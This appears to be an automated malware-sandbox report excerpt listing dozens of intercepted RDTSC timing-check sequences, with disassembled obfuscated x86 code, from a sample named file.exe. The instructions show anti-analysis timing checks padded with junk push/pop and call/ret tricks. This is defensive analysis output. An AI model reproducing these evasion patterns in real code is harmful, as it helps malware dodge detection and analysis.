Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37D93 second address: D37E13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F6999135DE8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D1BEAh], edx 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ebx 0x0000002d call 00007F6999135DE8h 0x00000032 pop ebx 0x00000033 mov dword ptr [esp+04h], ebx 0x00000037 add dword ptr [esp+04h], 00000014h 0x0000003f inc ebx 0x00000040 push ebx 0x00000041 ret 0x00000042 pop ebx 0x00000043 ret 0x00000044 sub di, B806h 0x00000049 push 00000000h 0x0000004b push 00000000h 0x0000004d push ebp 0x0000004e call 00007F6999135DE8h 0x00000053 pop ebp 0x00000054 mov dword ptr [esp+04h], ebp 0x00000058 add dword ptr [esp+04h], 0000001Dh 0x00000060 inc ebp 0x00000061 push ebp 0x00000062 ret 0x00000063 pop ebp 0x00000064 ret 0x00000065 add dword ptr [ebp+122D1F47h], edx 0x0000006b xchg eax, esi 0x0000006c pushad 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36147 second address: D3614B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D36FB3 second address: D36FBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D37E13 second address: D37E1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38E27 second address: D38E48 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6999135DF3h 0x00000008 jmp 00007F6999135DEDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 jbe 00007F6999135DECh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39E1B second address: D39E25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F699913D2F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D38E48 second address: D38E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3AE6F second address: D3AE8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F699913D300h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39E25 second address: D39E38 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6999135DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39E38 second address: D39E3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D39E3C second address: D39E42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3F626 second address: D3F62F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D1D0 second address: D3D1D6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3F62F second address: D3F633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3F6CD second address: D3F6D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3F6D1 second address: D3F6D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3F6D5 second address: D3F6DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D40617 second address: D4061B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3F8CC second address: D3F8D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F6999135DE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4270D second address: D42711 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48A09 second address: D48A0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48CC1 second address: D48CDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F699913D306h 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48CDF second address: D48CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E2AD second address: D4E2B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E4D2 second address: D4E4ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6999135DF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E4ED second address: D4E4F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E4F1 second address: D4E4FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E4FB second address: D4E530 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F699913D301h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F699913D304h 0x00000013 mov eax, dword ptr [eax] 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E530 second address: D4E54A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jc 00007F6999135DE6h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D532A4 second address: D532B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D532B0 second address: D532D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6999135DEAh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6999135DF5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51F17 second address: D51F3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F699913D307h 0x0000000c jc 00007F699913D2F6h 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51F3C second address: D51F6D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6999135E00h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jo 00007F6999135DE6h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51F6D second address: D51F93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F699913D306h 0x00000009 popad 0x0000000a jmp 00007F699913D2FBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D525BB second address: D525C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52750 second address: D52762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F699913D2FDh 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52895 second address: D528C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6999135DEAh 0x0000000b pop edi 0x0000000c pushad 0x0000000d ja 00007F6999135DF3h 0x00000013 push eax 0x00000014 pop eax 0x00000015 jmp 00007F6999135DEBh 0x0000001a push esi 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d pop esi 0x0000001e push ebx 0x0000001f pushad 0x00000020 popad 0x00000021 pushad 0x00000022 popad 0x00000023 pop ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52B51 second address: D52B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F699913D2FBh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52B66 second address: D52B6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D548F6 second address: D5490D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F699913D2FFh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58F97 second address: D58F9C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C301 second address: D2C351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov dword ptr [ebp+12445B9Fh], ebx 0x0000000d lea eax, dword ptr [ebp+1247E00Dh] 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F699913D2F8h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d mov dx, si 0x00000030 nop 0x00000031 push edx 0x00000032 jnp 00007F699913D2FCh 0x00000038 jo 00007F699913D2F6h 0x0000003e pop edx 0x0000003f push eax 0x00000040 pushad 0x00000041 js 00007F699913D2FCh 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C996 second address: D2C99F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C99F second address: D2C9A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C9A3 second address: D2C9C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6999135DF2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2C9C0 second address: D2C9C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2CD3C second address: D2CD76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 sub dword ptr [ebp+122D2379h], esi 0x0000000c push 00000004h 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F6999135DE8h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2CD76 second address: D2CD7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2CD7A second address: D2CD8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6999135DF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2CD8F second address: D2CD95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D4B2 second address: D2D4B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2D5CC second address: D0BF98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 call dword ptr [ebp+122D1F4Ch] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F699913D303h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58042 second address: D58046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58046 second address: D5804C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5804C second address: D58056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58056 second address: D5805A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5805A second address: D58092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6999135DF2h 0x0000000b popad 0x0000000c pushad 0x0000000d jc 00007F6999135DF2h 0x00000013 jne 00007F6999135DE6h 0x00000019 jl 00007F6999135DE6h 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 push edx 0x00000023 pop edx 0x00000024 pop edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push edx 0x00000028 pop edx 0x00000029 push ebx 0x0000002a pop ebx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5835D second address: D58369 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F699913D2F6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58369 second address: D5836E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58620 second address: D58624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5878F second address: D587A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d jne 00007F6999135DE6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D587A4 second address: D587BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pushad 0x0000000a jnp 00007F699913D2F6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58A8F second address: D58AC5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007F6999135DE6h 0x0000000d jmp 00007F6999135DF9h 0x00000012 jns 00007F6999135DE6h 0x00000018 popad 0x00000019 pushad 0x0000001a jp 00007F6999135DE6h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58AC5 second address: D58ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58ACB second address: D58AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6999135DE6h 0x0000000a popad 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6999135DEFh 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58AEB second address: D58AEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F582 second address: D5F588 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F588 second address: D5F592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F592 second address: D5F596 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5DFB7 second address: D5DFC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E558 second address: D5E585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f jg 00007F6999135DEEh 0x00000015 push esi 0x00000016 pop esi 0x00000017 ja 00007F6999135DE6h 0x0000001d push eax 0x0000001e pushad 0x0000001f popad 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 pop eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 jp 00007F6999135DE6h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E585 second address: D5E589 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E6E1 second address: D5E6EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E6EB second address: D5E6EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E6EF second address: D5E718 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6999135DEDh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6999135DF3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EC0C second address: D5EC10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EC10 second address: D5EC14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EDA1 second address: D5EDCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F699913D2FAh 0x00000009 pop edx 0x0000000a jno 00007F699913D30Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EDCE second address: D5EDD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EDD2 second address: D5EDD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EDD6 second address: D5EE00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jmp 00007F6999135DF5h 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 js 00007F6999135DEEh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EE00 second address: D5EE06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EE06 second address: D5EE0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EE0B second address: D5EE21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F699913D2F6h 0x0000000a jbe 00007F699913D2F6h 0x00000010 popad 0x00000011 pushad 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F3A2 second address: D5F3C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6999135DF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F6999135DEAh 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F3C2 second address: D5F3E4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 je 00007F699913D2F8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jne 00007F699913D2FCh 0x00000015 jne 00007F699913D2F6h 0x0000001b pushad 0x0000001c push edx 0x0000001d pop edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F3E4 second address: D5F3EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D689C5 second address: D689C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
